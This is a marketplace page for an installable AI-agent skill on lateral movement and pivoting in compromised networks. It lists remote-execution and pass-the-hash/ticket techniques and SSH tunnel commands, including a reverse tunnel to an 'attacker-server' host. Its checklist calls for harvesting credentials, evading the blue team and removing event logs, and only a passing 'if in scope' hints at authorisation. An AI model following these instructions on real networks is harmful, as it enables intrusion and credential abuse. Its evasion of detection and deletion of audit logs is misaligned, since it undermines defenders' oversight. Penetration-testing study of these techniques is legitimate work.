# Lateral Movement Pivoting

> Use when moving laterally in compromised networks.

- Skill: `loopyluci/lateral-movement-pivoting` (Agent Skill)
- Install (CLI): `npx skillmds@latest add loopyluci/lateral-movement-pivoting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/loopyluci/lateral-movement-pivoting/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: LoopyLuci (https://skillmd.com/u/loopyluci)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/loopyluci/lateral-movement-pivoting

---


# Lateral Movement and Pivoting

Moving laterally through compromised networks — from pass-the-hash and pass-the-ticket through PsExec, WMI, SSH tunneling, and SOCKS proxying.

## When to Use

- Moving from initial foothold to other network segments
- Pivoting through compromised hosts to reach restricted networks
- Using harvested credentials for lateral access
- Establishing persistent access across multiple systems

## Lateral Movement Techniques

```python
LATERAL_TECHNIQUES = {
    'psexec': 'Execute commands remotely via SVCCTL (admin$ share)',
    'wmi': 'Execute via WMI (wmic /node: process call create)',
    'winrm': 'WinRM/PSRemoting — remote PowerShell execution',
    'schtasks': 'Create remote scheduled tasks for execution',
    'dcom': 'DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)',
    'smb_exec': 'SC.exe to create remote service on target',
    'pass_the_hash': 'Use NTLM hash directly (no password needed) for WMI/SMB',
    'pass_the_ticket': 'Use Kerberos TGS/TGT for remote access',
    'overpass_the_hash': 'NTLM hash → Kerberos TGT → TGS for service access',
}

# Pivoting with SSH
SSH_TUNNELS = {
    'local': "ssh -L 8080:internal-server:80 jumpbox — forward port through jumpbox",
    'remote': "ssh -R 8080:localhost:80 attacker-server — expose internal service",
    'dynamic': "ssh -D 9050 jumpbox — SOCKS5 proxy through jumpbox",
    'proxyjump': "ssh -J jumpbox target-internal — chain through jump host",
}

class PivotProxy:
    """Set up SOCKS proxy for pivoting."""
    def __init__(self, jump_host: str, port: int = 9050):
        self.jump = jump_host
        self.port = port
```

## Verification Checklist

- [ ] Initial foothold established (user-level access)
- [ ] Credentials harvested (plaintext, hashes, tickets)
- [ ] Lateral movement technique chosen (PsExec, WMI, WinRM, SCM)
- [ ] Pass-the-hash/ticket working across targets
- [ ] Pivot proxy set up (SOCKS/SSH tunnel)
- [ ] New targets enumerated through pivot
- [ ] No detection by blue team (slowed down, not stopped)
- [ ] Cleanup: remove remote services, binaries, event logs (if in scope)